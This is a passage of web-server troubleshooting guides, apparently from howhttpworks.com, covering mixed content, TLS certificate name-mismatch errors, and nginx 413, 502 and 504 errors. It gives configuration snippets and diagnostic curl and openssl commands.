'unsafe-inline' 'unsafe-eval'; report-uri https://example.com/csp-report ``` Reports will list each `blocked-uri` that uses `http:`. Collect them for a week of real traffic, then fix the top offenders first. Search your source and database for literal URLs: ```bash # Templates and source grep -rnE "(src|href|action|url)=?[\"'(]http://" ./src ./templates ./public # Rendered pages (crawl one URL) curl -s https://example.com/ | grep -oE "http://[^\"' )<>]+" | sort -u ``` ### CSP: upgrade-insecure-requests ```http Content-Security-Policy: upgrade-insecure-requests ``` The browser rewrites every `http:` subresource URL (and navigations to your own host) to `https:` before sending the request. It does not fall back to HTTP if HTTPS fails. The directive can sit alongside the rest of your policy: ```http Content-Security-Policy: default-src 'self'; upgrade-insecure-requests ``` The older `block-all-mixed-content` directive is deprecated; browsers already block active mixed content by default. ```nginx add_header Content-Security-Policy "upgrade-insecure-requests" always; ``` ```javascript // Express (helmet). Helmet's default policy already includes upgrade-insecure-requests, // so app.use(helmet()) is enough; this form adds it to your own directives. import helmet from 'helmet' app.use( helmet.contentSecurityPolicy({ useDefaults: true, directives: { upgradeInsecureRequests: [] } }) ) ``` ### Proxy and framework: the app thinks it is on HTTP When a CDN or load balancer terminates TLS and talks plain HTTP to the app, the app builds absolute URLs (redirects, canonical links, asset URLs, OAuth callbacks) with `http://` unless it reads `X-Forwarded-Proto`. Fix it at the proxy and tell the app to trust it: ```nginx proxy_set_header X-Forwarded-Proto $scheme; # nginx terminating TLS in front of the app ``` ```javascript app.set('trust proxy', 1) // Express: req.protocol and req.secure now follow X-Forwarded-Proto ``` ```python # Django settings.py SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') ``` ### WordPress Update the site and home URLs to `https://`, then rewrite stored content. `--skip-columns=guid` matters: WordPress GUIDs must not change. ```bash wp option update home 'https://example.com' wp option update siteurl 'https://example.com' wp search-replace 'http://example.com' 'https://example.com' --skip-columns=guid --all-tables --dry-run wp search-replace 'http://example.com' 'https://example.com' --skip-columns=guid --all-tables ``` Theme options, page builders and serialized widget data are covered by `search-replace`, which handles PHP serialized strings; a plain SQL `REPLACE()` does not and can corrupt them. ### WebSockets ```javascript const scheme = location.protocol === 'https:' ? 'wss' : 'ws' const socket = new WebSocket(`${scheme}://${location.host}/socket`) ``` Your proxy must also terminate TLS for the WebSocket path and forward the `Upgrade` and `Connection` headers. ### Cloudflare Cloudflare's "Automatic HTTPS Rewrites" rewrites `http://` links in HTML to `https://` when it knows the target supports HTTPS. It is a useful stopgap but does not touch URLs built by JavaScript, JSON responses or CSS imported from other hosts, so still fix the source. ## Verify ```bash # Rendered HTML should contain no http:// subresources for your own hosts curl -s https://example.com/ | grep -ciE "(src|href)=[\"']http://" # The header is present curl -sI https://example.com/ | grep -i content-security-policy ``` Reload with DevTools open and the Console filter set to "Errors" and "Warnings"; the mixed content lines should be gone. Test in a private window so cached pages do not hide the result. ## Related - [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) for the full directive list, including `upgrade-insecure-requests`. - [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security): once everything is HTTPS, HSTS keeps visitors from landing on HTTP at all. - [X-Forwarded-Proto](https://howhttpworks.com/headers/x-forwarded-proto) is the header behind most proxy-induced mixed content. - [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls) explains what the padlock does and does not promise. - [Too many redirects](https://howhttpworks.com/debug/err-too-many-redirects) is the neighbouring failure when you try to force HTTPS and the proxy is misconfigured. --- # NET::ERR_CERT_COMMON_NAME_INVALID: Fix the Name Mismatch > Fix NET::ERR_CERT_COMMON_NAME_INVALID and related ERR_CERT errors: SAN vs CN, wildcard limits, missing SNI, expired or incomplete chains, with openssl checks. Source: https://howhttpworks.com/debug/err-cert-common-name-invalid Last reviewed: 2026-10-04 Error messages this page covers: - `Your connection is not private. Attackers might be trying to steal your information from example.com (for example, passwords, messages, or credit cards). NET::ERR_CERT_COMMON_NAME_INVALID` - `NET::ERR_CERT_AUTHORITY_INVALID` - `NET::ERR_CERT_DATE_INVALID` - `Warning: Potential Security Risk Ahead. SSL_ERROR_BAD_CERT_DOMAIN` - `curl: (60) SSL: no alternative certificate subject name matches target hostname 'example.com'` - `curl: (60) SSL: no alternative certificate subject name matches target host name 'example.com'` > **TL;DR:** The server presented a certificate whose Subject Alternative Names do not include the hostname you typed (Chrome ignores the Common Name). Run `openssl s_client -connect HOST:443 -servername HOST` and compare the SANs with the URL. The usual causes are a missing `www` or apex name, a wildcard used one level too deep, and a server returning its default certificate because the client sent no SNI (connecting by IP). ## What it means This is not an HTTP error. The failure happens during the TLS handshake, before any HTTP request is sent, so there is no status code, no `Server` header and nothing in your web server's access log. The browser compares the hostname in the URL with the names in the certificate (RFC 9110 section 4.3.4 defers to the [RFC 6125](https://www.rfc-editor.org/rfc/rfc6125) rules) and aborts on a mismatch: ```text Your connection is not private Attackers might be trying to steal your information from example.com (for example, passwords, messages, or credit cards). NET::ERR_CERT_COMMON_NAME_INVALID ``` The same fault in other clients: ```text Firefox: SSL_ERROR_BAD_CERT_DOMAIN Safari: This Connection Is Not Private curl: curl: (60) SSL: no alternative certificate subject name matches target hostname 'example.com' (older curl: "target host name") openssl: Verification error: hostname mismatch ``` "Common name" refers to the legacy `CN` field in the certificate subject. Chrome has ignored it since version 58. RFC 6125 section 6.4.4 lets a client fall back to the CN only when the certificate has no DNS SAN at all, and browsers dropped even that. A certificate that says `CN = example.com` can therefore still fail: the SAN list does not contain it. ## Who sent it? The browser decided, from the certificate it was shown. The question is which server showed a certificate for the wrong names, and the answer is whoever terminates TLS for that hostname: your web server, a load balancer, a CDN or an ingress controller. Look at the real certificate: ```bash echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \ | openssl x509 -noout -subject -issuer -dates -ext subjectAltName ``` ```text subject=CN = example.org issuer=C = US, O = Let's Encrypt, CN = R11 notBefore=Sep 1 08:00:00 2026 GMT notAfter=Nov 30 08:00:00 2026 GMT X509v3 Subject Alternative Name: DNS:example.org, DNS:www.example.org ``` Here the certificate is valid but for `example.org`, not `example.com`. Now repeat without `-servername` to see the server's default certificate: ```bash echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -subject -ext subjectAltName ``` If the two differ, the server picks the certificate by SNI (Server Name Indication, RFC 6066 section 3), and the hostname you are testing is not configured on it, so it falls through to the default. If you are connecting by IP, add `-servername` with the real hostname; browsers never send an IP address as SNI. Identify the terminating layer with the response headers you can still get, using `-k` only for diagnosis: ```bash curl -skI https://example.com/ | grep -iE '^(server|via|cf-ray|x-amz|x-served-by)' ``` ## Fix it, in order of likelihood 1. The certificate does not list the hostname. Reissue it with every name users type, including `example.com` and `www.example.com`. 2. A wildcard is being used for the wrong level. `*.example.com` does not cover `example.com` or `a.b.example.com`. 3. The server has no certificate for that name and falls back to a default (new vhost without TLS, new domain added to a CDN or ALB without a certificate). 4. DNS points to the wrong server, for example a stale A record sending traffic to the old host that still has the old certificate. 5. An internal or private hostname uses a public certificate, or the reverse. ### Let's Encrypt with certbot ```bash # Issue one certificate covering both names certbot --nginx -d example.com -d www.example.com # Add a name to an existing certificate certbot --nginx --expand -d example.com -d www.example.com -d api.example.com # Check what is installed certbot certificates ``` Wildcards require the DNS-01 challenge (`certbot certonly --dns-cloudflare -d example.com -d '*.example.com'` with the matching plugin). ### nginx: serve the right certificate, and refuse unknown names ```nginx server { listen 443 ssl; http2 on; server_name example.com www.example.com; ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; } # Default server: refuse the handshake for hostnames you do not host (nginx 1.19.4+) server { listen 443 ssl default_server; ssl_reject_handshake on; } ``` Without a default server that rejects, nginx hands unknown names the first `server` block's certificate, which is exactly how "wrong certificate" errors reach visitors. ### Kubernetes with cert-manager Every hostname in the Ingress needs to be listed under `tls.hosts` and in the Certificate's `dnsNames`: ```yaml apiVersion: cert-manager.io/v1 kind: Certificate metadata: name: example-com spec: secretName: example-com-tls dnsNames: - example.com - www.example.com issuerRef: name: letsencrypt-prod kind: ClusterIssuer ``` ### AWS ACM, ALB and CloudFront The certificate attached to the listener or distribution must list the alternate domain name you are serving. For CloudFront, the certificate must be in `us-east-1`, and the distribution's alternate domain names (CNAMEs) must be covered by it. On an ALB listener you can attach several certificates and the ALB picks one by SNI. ## The other ERR_CERT errors ### NET::ERR_CERT_AUTHORITY_INVALID The browser cannot chain the certificate to a trusted root. Causes, most common first: - The server sends only the leaf certificate and not the intermediates. Many desktop browsers can fetch missing intermediates, but Android and curl often cannot, so it works for you and fails elsewhere. Serve `fullchain.pem`, not `cert.pem`. - Self-signed or private-CA certificate that the device does not trust. - A corporate proxy that inspects TLS and re-signs certificates with a company root the browser or OS does not have installed. ```bash echo | openssl s_client -connect example.com:443 -servername example.com -showcerts 2>/dev/null | grep -E 'verify|depth|s:|i:' ``` Look for `verify error:num=20:unable to get local issuer certificate` or `num=21:unable to verify the first certificate`. Both point to a missing intermediate. Also check `Verify return code` at the end of the output. ### NET::ERR_CERT_DATE_INVALID The certificate is expired or not yet valid, or the visitor's clock is wrong. Check dates server-side: ```bash echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \ | openssl x509 -noout -dates # Exit status 0 if the cert is still valid 30 days from now, 1 if not echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \ | openssl x509 -noout -checkend $((30*24*3600)) ``` If the server's dates are fine and only some devices fail, the device clock is the problem. If issuance is automated, check the renewal job (`certbot renew --dry-run`) and that nginx was reloaded after renewal, since nginx loads certificates at start or reload and does not notice a replaced file. Cloudflare in front of your origin adds two related errors for the origin leg: 525 (TLS handshake failed) and 526 (invalid origin certificate when SSL mode is Full strict). They mean your origin's certificate has one of the problems above. ## Reproduce and verify ```bash # Hostname verification as a client would do it (exit code 0 means OK) curl -sS -o /dev/null -w '%{http_code} ssl_verify=%{ssl_verify_result}\n' https://example.com/ # Verify the hostname explicitly with openssl (-verify_hostname needs OpenSSL 1.1.0+) echo | openssl s_client -connect example.com:443 -servername example.com -verify_hostname example.com 2>/dev/null \ | grep -E 'Verification|Verify return code' ``` A `ssl_verify` of `0` and `Verify return code: 0 (ok)` mean the chain and the hostname match. Test every name (apex, `www`, API subdomain) and also from a second network, because a split-horizon DNS or a CDN edge can serve a different certificate than the one you tested from. ## Related - [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls) explains the handshake, chains of trust and what a certificate vouches for. - [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security) removes the click-through option for certificate errors on hosts that sent it. - [Mixed content](https://howhttpworks.com/debug/mixed-content-blocked) is the failure you meet next when the certificate works but the page still loads HTTP resources. - [Too many redirects](https://howhttpworks.com/debug/err-too-many-redirects) often appears together with TLS offload misconfiguration. - [ERR_SSL_PROTOCOL_ERROR](https://howhttpworks.com/debug/err-ssl-protocol-error) is the failure one step earlier, when the handshake breaks before any certificate is checked. - [ERR_CERT_DATE_INVALID](https://howhttpworks.com/debug/err-cert-date-invalid): expired certificates, renewals that never got deployed, expired intermediates and wrong client clocks. --- # nginx 413 Request Entity Too Large: client_max_body_size > Fix nginx 413 Request Entity Too Large: raise client_max_body_size, then check Cloudflare limits, ingress-nginx proxy-body-size and PHP upload limits. Source: https://howhttpworks.com/debug/nginx-413-request-entity-too-large Last reviewed: 2026-10-04 Error messages this page covers: - `413 Request Entity Too Large` - `nginx/1.27.0 (413 Request Entity Too Large)` - `[error] 29#29: *1 client intended to send too large body: 5242880 bytes, client: 203.0.113.10, server: example.com, request: "POST /upload HTTP/1.1"` - `PayloadTooLargeError: request entity too large` > **TL;DR:** The request body is larger than nginx's `client_max_body_size`, which defaults to `1m`. Raise it in the `http`, `server` or `location` block that serves the endpoint, run `nginx -t && nginx -s reload`, then check the other layers that cap uploads: ingress-nginx (`proxy-body-size`, default `1m`), Cloudflare (100 MB on Free and Pro), PHP and your framework. ## What it means nginx compares the request's `Content-Length` with `client_max_body_size` as soon as it has read the request headers. If the declared length is larger, it answers `413` without reading the body and logs a line in the error log. The nginx docs themselves warn that "browsers cannot correctly display this error". For chunked uploads, which have no `Content-Length`, nginx counts bytes as the body arrives and fails when the limit is crossed. The browser-visible page and the log line: ```http HTTP/1.1 413 Request Entity Too Large Server: nginx/1.27.0 Content-Type: text/html Connection: close ``` ```text 2026/10/04 09:12:41 [error] 29#29: *1 client intended to send too large body: 5242880 bytes, client: 203.0.113.10, server: example.com, request: "POST /upload HTTP/1.1", host: "example.com" ``` The line names the number of bytes the client announced. That number tells you how far to raise the limit and, if it is much smaller than the limit you configured, which other layer is responsible. ## Who sent it? Several layers can return a 413 and they look alike in the browser: - nginx on your host: HTML body ending in `nginx` (or `nginx/1.x.y`), and the log line above in `/var/log/nginx/error.log`. - ingress-nginx in Kubernetes: same page, same log line, but in the ingress controller pod's logs, not your application's. - Cloudflare: the response has `Server: cloudflare` and a `CF-Ray` header, and no matching line in your origin logs, because the request never reached the origin. - Your application framework: a JSON or framework-styled error body, for example `PayloadTooLargeError: request entity too large` from Express body parsers. nginx logs an ordinary request with the status your app returned. If your origin's access log has no entry for the failing request, the limit is in front of it. If nginx's error log has the `too large body` line, it is nginx. ## Fix it, in order of likelihood 1. Find the effective config. Edits to a file that is never included do nothing: `nginx -T | grep -n client_max_body_size`. 2. Raise `client_max_body_size` at the narrowest context that covers the endpoint, for example only for the upload location. 3. Reload (`nginx -t && nginx -s reload`) and retest with a file just above the old limit. 4. If it still fails, remove limits further along: ingress annotation, Cloudflare plan limit, PHP and application limits below. ### nginx ```nginx http { # Default for the whole server: 1m if unset client_max_body_size 1m; server { server_name example.com; location /upload { client_max_body_size 100m; client_body_timeout 120s; # slow clients need more than the 60s default proxy_request_buffering off; # stream the body to the upstream instead of buffering to disk proxy_pass http://app; } } } ``` A value in `location` replaces the inherited one, and `0` means unlimited. Keep the limit as small as the product allows; it is the cheapest protection against oversized-body abuse. ### Kubernetes ingress-nginx The controller's default is also `1m`. Set it per Ingress with an annotation: ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: uploads annotations: nginx.ingress.kubernetes.io/proxy-body-size: "100m" spec: ingressClassName: nginx rules: - host: example.com http: paths: - path: /upload pathType: Prefix backend: service: name: app port: number: 80 ``` To change it cluster-wide, set `proxy-body-size` in the controller's ConfigMap. Annotation values must be quoted strings. ### Cloudflare Cloudflare limits the request body size per plan before the request reaches your origin. Per Cloudflare's [upload limits](https://developers.cloudflare.com/cache/concepts/default-cache-behavior/#upload-limits), the maximum is 100 MB on Free and Pro, 200 MB on Business, and up to 5 GB on Enterprise, which Enterprise customers can adjust themselves on the zone's Network page. Check that page before relying on the numbers; Cloudflare has changed them before. Raising `client_max_body_size` cannot get past this. For larger files, upload directly to object storage with a pre-signed URL, use a chunked or resumable upload protocol so each request stays below the limit, or send the upload to a DNS-only (grey-clouded) hostname. ### PHP behind nginx or Apache PHP has its own limits and they fail differently: the request is accepted by the web server, then PHP discards the body, `$_FILES` is empty and `$_POST` is empty. There is often no 413 at all. ```ini ; php.ini upload_max_filesize = 100M ; per file, default 2M post_max_size = 105M ; whole request body, default 8M; keep it larger than upload_max_filesize memory_limit = 256M ; default 128M max_execution_time = 120 ; default 30 (web SAPI) ``` Set `post_max_size` at least as large as `upload_max_filesize`, and keep nginx's `client_max_body_size` at or above `post_max_size`. Restart PHP-FPM after editing. ### Node and Express Body parsers have small defaults, so a 413 can come from the app: ```javascript app.use(express.json({ limit: '5mb' })) // default is 100kb app.use(express.urlencoded({ extended: true, limit: '5mb' })) ``` For multipart uploads, set the limit in the parser (`multer({ limits: { fileSize: 100 * 1024 * 1024 } })`), not in `express.json`. ### Other servers ```text Apache: LimitRequestBody 104857600 (bytes; 0 = unlimited, which is the default) Caddy: request_body { max_size 100MB } Spring Boot: spring.servlet.multipart.max-file-size=100MB spring.servlet.multipart.max-request-size=105MB (defaults 1MB and 10MB) ``` ## Reproduce and verify Create a file just over the limit and post it. `curl -v` shows the response status and, if you use `-w`, how many bytes were sent before the server answered: ```bash head -c 5242880 /dev/zero > test-5mb.bin curl -sS -o /dev/null -w '%{http_code}\n' \ -X POST --data-binary @test-5mb.bin \ -H 'Content-Type: application/octet-stream' \ https://example.com/upload ``` Before the fix you get `413`; after it, whatever your endpoint returns for a valid upload (200, 201, 204, or an auth error, which proves the body size check was passed). To test the proxy without the CDN, send the same request straight to the origin with a `Host` header: ```bash curl -sS -o /dev/null -w '%{http_code}\n' -X POST --data-binary @test-5mb.bin \ -H 'Host: example.com' http://ORIGIN_IP/upload ``` If the origin answers 200 and the public URL answers 413, the limit is at the CDN or load balancer. ## Related - [413 Content Too Large](https://howhttpworks.com/status-codes/413) covers the status itself, including when a server may close the connection. - [400 Bad Request](https://howhttpworks.com/status-codes/400) is what some frameworks return for a malformed or truncated body rather than 413. - [504 Gateway Timeout](https://howhttpworks.com/debug/nginx-504-gateway-timeout) appears next when large uploads are slow enough to trip `proxy_read_timeout` or `client_body_timeout`. - [Content-Length](https://howhttpworks.com/headers/content-length) is the value nginx compares against the limit. --- # nginx 502 Bad Gateway: Causes and Fixes by Error Log > Fix nginx 502 Bad Gateway by matching the error log: connection refused, prematurely closed connection, php-fpm socket permissions, too big header, keepalive. Source: https://howhttpworks.com/debug/nginx-502-bad-gateway Last reviewed: 2026-10-04 Error messages this page covers: - `502 Bad Gateway` - `connect() failed (111: Connection refused) while connecting to upstream` - `upstream prematurely closed connection while reading response header from upstream` - `connect() to unix:/run/php/php8.3-fpm.sock failed (13: Permission denied) while connecting to upstream` - `upstream sent too big header while reading response header from upstream` - `recv() failed (104: Connection reset by peer) while reading response header from upstream` > **TL;DR:** nginx could not get a valid response from the upstream. Open the nginx error log and match the line after `upstream`: `Connection refused` means nothing is listening, `Permission denied` is a socket or SELinux issue, `prematurely closed connection` means the app crashed or timed out internally, `too big header` is `proxy_buffer_size`. ## What it means 502 is a gateway reporting a bad answer from further along the chain (RFC 9110 section 15.6.3). In nginx it is generated when the connection to the upstream fails or the upstream response is invalid: ```http HTTP/1.1 502 Bad Gateway Server: nginx/1.27.0 Content-Type: text/html ``` The access log shows the 502 but not the reason. The reason is in the error log, one line per failure, and everything useful follows the word `upstream`: ```text 2026/10/04 11:20:05 [error] 31#31: *912 connect() failed (111: Connection refused) while connecting to upstream, client: 203.0.113.10, server: example.com, request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:3000/", host: "example.com" ``` Start there. Everything below is organized by that log line. ## Who sent it? - `Server: nginx` in the response and a line in your nginx error log with the same timestamp: this page applies. - `Server: awselb/2.0` (ALB): the load balancer, not nginx. Look at its access log `elb_status_code` and `target_status_code`. A 502 with `target_status_code` of `-` means the target closed the connection or sent a malformed response, often a keepalive race (below). - Cloudflare with an error page titled "Bad gateway" and a `CF-Ray`: Cloudflare got an invalid response from the origin. Errors 520 to 523 are Cloudflare's finer-grained cousins (unknown error, web server is down, connection timed out, origin unreachable). - No nginx log line at all: the request did not reach this nginx. Something earlier generated the 502. ## Fix it, matched to the log line ### `connect() failed (111: Connection refused) while connecting to upstream` Nothing is accepting connections at the `upstream:` address. The process crashed, never started, listens on a different port or interface, or nginx is pointing at the wrong place. ```bash # Is anything listening on the port nginx is using? ss -ltnp | grep ':3000' # Talk to the upstream directly, bypassing nginx curl -i http://127.0.0.1:3000/ # Why did the app stop? (systemd, then the kernel's OOM killer) journalctl -u myapp --since '10 min ago' dmesg | grep -i 'killed process' ``` Common causes: the app is bound to `localhost` inside a container while nginx connects to the container IP (bind to `0.0.0.0`), the app crashed on boot after a deploy, or the process was OOM-killed. On RHEL, CentOS and Fedora with SELinux enforcing, nginx is not allowed to open network connections by default and the log shows `(13: Permission denied)` instead. Allow it with `setsebool -P httpd_can_network_connect 1`. DNS is a separate trap. `proxy_pass http://backend.internal;` resolves the name once when nginx starts or reloads. If the IP changes (Docker, Kubernetes, ECS, load balancers with rotating addresses), nginx keeps connecting to the old address and gets refused or timed out. Make nginx re-resolve: ```nginx resolver 127.0.0.11 valid=10s; # your DNS server; 127.0.0.11 is Docker's embedded DNS set $upstream http://backend.internal:3000; proxy_pass $upstream; ``` Using a variable in `proxy_pass` forces runtime resolution through `resolver`. ### `connect() to unix:/run/php/php8.3-fpm.sock failed (13: Permission denied)` or `(2: No such file or directory)` The nginx worker user cannot open the PHP-FPM socket, or the socket path in `fastcgi_pass` does not match the pool's `listen` setting. ```ini ; /etc/php/8.3/fpm/pool.d/www.conf listen = /run/php/php8.3-fpm.sock listen.owner = www-data listen.group = www-data listen.mode = 0660 ``` ```nginx # nginx.conf: the user directive must match listen.owner or listen.group user www-data; ``` ```nginx location ~ \.php$ { include fastcgi_params; fastcgi_pass unix:/run/php/php8.3-fpm.sock; } ``` After a PHP version upgrade the socket file name often changes (`php8.2-fpm.sock` to `php8.3-fpm.sock`) and `fastcgi_pass` still points at the old one, which gives error 2. Check with `ls -l /run/php/`. ### `upstream prematurely closed connection while reading response header from upstream` nginx connected and sent the request, and the upstream closed the connection without sending a complete response. The upstream process died or was killed mid-request: - A worker crash (segfault, unhandled exception, out-of-memory kill). - A worker killed by its own supervisor for taking too long. Gunicorn kills a worker after `--timeout` (30 seconds by default) and nginx logs this line, not a timeout. PHP-FPM's `request_terminate_timeout` and PHP's `max_execution_time` do the same. - A deploy or restart that stops workers while requests are in flight. Look at the upstream's logs at the same timestamp; the nginx line only tells you the connection was cut. For slow-endpoint cases, see [nginx 504](https://howhttpworks.com/debug/nginx-504-gateway-timeout) and keep nginx's timeouts higher than the application's, so the application can answer with a proper error before nginx gives up. `recv() failed (104: Connection reset by peer) while reading response header from upstream` is the same family: the upstream sent a TCP RST. Check the keepalive section next if it is intermittent, and see [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset) for finding which hop sent the reset. ### `upstream sent too big header while reading response header from upstream` The status line and headers of the upstream response must fit in a single buffer, sized by `proxy_buffer_size`, which defaults to one memory page (4k or 8k depending on the platform; ingress-nginx sets `4k`). Large cookies, many `Set-Cookie` headers, long `Link` preload headers or huge redirect URLs overflow it, and the client gets a 502 only on those routes (login is the usual one). ```nginx location / { proxy_pass http://app; proxy_buffer_size 16k; # first part of the response: headers proxy_buffers 8 16k; proxy_busy_buffers_size 32k; # must be >= proxy_buffer_size and < total buffers minus one buffer } ``` For FastCGI upstreams the equivalents are `fastcgi_buffer_size`, `fastcgi_buffers` and `fastcgi_busy_buffers_size`. On ingress-nginx use the `nginx.ingress.kubernetes.io/proxy-buffer-size: "16k"` annotation. If 16k is not enough, the real fix is smaller cookies and headers. ### Intermittent 502: keepalive mismatch When a proxy reuses an idle connection at the exact moment the other side closes it, the request is written onto a dead connection and the proxy sees a reset. It looks random and clusters under steady, low traffic. - nginx to upstream: if you enable upstream keepalive, the application's idle timeout must be longer than nginx's. nginx closes its own idle upstream connections after `keepalive_timeout` (60 seconds by default in the upstream block). Node's `http.Server` closes idle connections after 5 seconds by default, so nginx regularly reuses connections Node has just closed. - ALB to target: the load balancer's idle timeout is 60 seconds by default. A backend that closes idle connections sooner produces 502s from the ALB. Set the application keepalive higher than the ALB's idle timeout. ```javascript // Node: keep idle connections open longer than the ALB (60s) or nginx upstream keepalive const server = app.listen(3000) server.keepAliveTimeout = 65_000 // ms; Node's default is 5000, so set it explicitly server.headersTimeout = 66_000 // must be greater than keepAliveTimeout ``` ```nginx upstream app { server 127.0.0.1:3000; keepalive 32; keepalive_timeout 30s; # keep this below the application's idle timeout } server { location / { proxy_pass http://app; proxy_http_version 1.1; # required for upstream keepalive proxy_set_header Connection ""; # do not forward "close" } } ``` ### `no live upstreams while connecting to upstream` Every server in the `upstream` block is marked failed after `max_fails` errors (default 1) within `fail_timeout` (default 10 seconds), and nginx stops trying them for that window. Fix the upstream, or raise `max_fails` if blips are expected. A single upstream server is never marked down, so this message means you have more than one. ## Reproduce and verify ```bash # 1. Does the app answer directly? curl -si http://127.0.0.1:3000/ | head -n 5 # 2. Does it answer through nginx, with the same Host? curl -si http://127.0.0.1/ -H 'Host: example.com' | head -n 5 # 3. Watch the error log while you retry tail -f /var/log/nginx/error.log # 4. Validate and reload after config edits nginx -t && nginx -s reload ``` For a header-size problem, measure the response headers the upstream sends: `curl -sD - -o /dev/null http://127.0.0.1:3000/login | wc -c`. If it is near or above `proxy_buffer_size`, that is your answer. ## Related - [502 Bad Gateway](https://howhttpworks.com/status-codes/502) explains the status and compares it to 500 and 504. - [504 Gateway Timeout](https://howhttpworks.com/debug/nginx-504-gateway-timeout): the upstream was reachable but too slow. - [upstream sent too big header](https://howhttpworks.com/debug/nginx-upstream-sent-too-big-header): the 502 caused by response headers that overflow `proxy_buffer_size`. - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) is the status an upstream should return when it is overloaded or draining, instead of dropping the connection. - [Connection](https://howhttpworks.com/headers/connection) and [Keep-Alive](https://howhttpworks.com/headers/keep-alive) cover the persistent connection behavior behind the intermittent cases. --- # nginx 504 Gateway Timeout: Fix Upstream Timed Out (110) > Fix nginx 504 Gateway Time-out and 'upstream timed out (110)': proxy_read_timeout, fastcgi_read_timeout, ALB idle timeout, and Cloudflare 524 compared. Source: https://howhttpworks.com/debug/nginx-504-gateway-timeout Last reviewed: 2026-10-04 Error messages this page covers: - `504 Gateway Time-out` - `upstream timed out (110: Connection timed out) while reading response header from upstream` - `upstream timed out (110: Connection timed out) while connecting to upstream` - `upstream timed out (110: Connection timed out) while sending request to upstream` > **TL;DR:** nginx forwarded the request to the upstream and gave up waiting (all three `proxy_*_timeout` directives default to 60s). The `upstream timed out (110: Connection timed out)` error-log line names the phase: connecting, sending or reading. Fix the slow upstream first; raise `proxy_read_timeout` (or `fastcgi_read_timeout`) only for bounded slow work, and raise every timeout in front of nginx too. ## What it means A 504 is the gateway telling the client that it did not get a timely response from the server behind it. In nginx the browser sees: ```http HTTP/1.1 504 Gateway Time-out Server: nginx/1.27.0 Content-Type: text/html ``` ```text 2026/10/04 10:03:17 [error] 31#31: *482 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 203.0.113.10, server: example.com, request: "GET /report HTTP/1.1", upstream: "http://127.0.0.1:3000/report", host: "example.com" ``` The tail of the `upstream timed out` line identifies the phase, and each phase has its own directive. All three default to 60 seconds: | Log says | Directive | What it measures | | --- | --- | --- | | `while connecting to upstream` | `proxy_connect_timeout` | Time to establish the TCP connection. Raising it rarely helps; an upstream that does not accept a connection in a few seconds is down or unreachable. | | `while sending request to upstream` | `proxy_send_timeout` | Maximum gap between two writes of the request to the upstream. Matters for large uploads to a slow upstream. | | `while reading response header from upstream` | `proxy_read_timeout` | Maximum gap between two reads from the upstream. Usually the culprit: the app is still working and has sent nothing. | For PHP-FPM, uWSGI, and gRPC upstreams the equivalents are `fastcgi_*_timeout`, `uwsgi_*_timeout` and `grpc_*_timeout`. ## Who sent it? Not every 504 comes from nginx. Look at the failing response: - `Server: nginx` and the page title `504 Gateway Time-out`: nginx on your host or the ingress controller. Confirm with the `upstream timed out` log line with the matching timestamp. - `Server: awselb/2.0`: an AWS Application Load Balancer. It returns 504 when a target does not respond before the idle timeout (60 seconds by default) or when it cannot establish a connection. It logs the reason in access logs under `error_reason`. - `X-Cache: Error from cloudfront` and `Via: ... (CloudFront)`: CloudFront gave up on the origin (origin response timeout, 30 seconds by default). - `Server: cloudflare` with a Cloudflare-branded page: look at the number. "Error 504" is Cloudflare relaying a gateway timeout; "Error 524: A timeout occurred" means the origin accepted the connection but did not answer in time (125 seconds by default). "Error 522" means the connection to the origin timed out. - JSON or framework-styled body: an application server or API gateway is generating the 504 itself. Compare timings. A 504 that always arrives after about 60 seconds points at a default nginx or ALB timeout. One that arrives after 30 seconds points at CloudFront, many API gateways or a Gunicorn worker timeout. One that arrives at about 125 seconds points at Cloudflare (older guides say 100; Cloudflare's current docs say 125). ## Fix it, in order of likelihood 1. Find out why the upstream is slow. Check the upstream's own logs for the same request, and time it directly: `curl -w '%{time_starttransfer}\n' -o /dev/null -s http://127.0.0.1:3000/report`. If the upstream is healthy but nginx times out, you have a configuration problem; if the upstream is slow, no nginx setting is the real fix. 2. Look at the phase in the error log, then raise the matching timeout in the narrowest `location`. 3. Raise the limits of every proxy in front: ALB idle timeout, CloudFront origin response timeout, Cloudflare plan limits. 4. Raise the limits of the application server so it does not kill the worker first: Gunicorn `--timeout` (30 seconds by default), PHP-FPM `request_terminate_timeout`, PHP `max_execution_time`. 5. For work that takes more than a minute or so, switch to an asynchronous API. ### nginx ```nginx location /report { proxy_pass http://app; proxy_connect_timeout 5s; # fail fast if the upstream is down proxy_send_timeout 60s; proxy_read_timeout 180s; # only for this slow endpoint, not the whole server # Do not retry a slow request on another upstream; it doubles the load and the wait proxy_next_upstream off; } ``` `proxy_next_upstream` defaults to `error timeout`. With several upstreams, a timeout is retried on the next one, so a single slow request can occupy every backend and the client waits for the sum of the timeouts. For non-idempotent methods nginx does not retry by default unless you add `non_idempotent`. ### PHP-FPM ```nginx location ~ \.php$ { include fastcgi_params; fastcgi_pass unix:/run/php/php8.3-fpm.sock; fastcgi_read_timeout 180s; # default 60s } ``` ```ini ; php-fpm pool config request_terminate_timeout = 180s ; php.ini max_execution_time = 180 ``` If PHP is terminated before nginx times out, the symptom flips to a 502 (`upstream prematurely closed connection`). Keep nginx's timeout slightly higher than PHP's. ### Kubernetes ingress-nginx Annotations take plain seconds as strings. The ConfigMap defaults are 5 for connect and 60 for send and read: ```yaml metadata: annotations: nginx.ingress.kubernetes.io/proxy-connect-timeout: "5" nginx.ingress.kubernetes.io/proxy-send-timeout: "180" nginx.ingress.kubernetes.io/proxy-read-timeout: "180" ``` ### AWS Application Load Balancer Set the idle timeout on the load balancer attributes (default 60 seconds). It limits the time a connection may stay idle in either direction, so a slow request with no bytes flowing hits it exactly 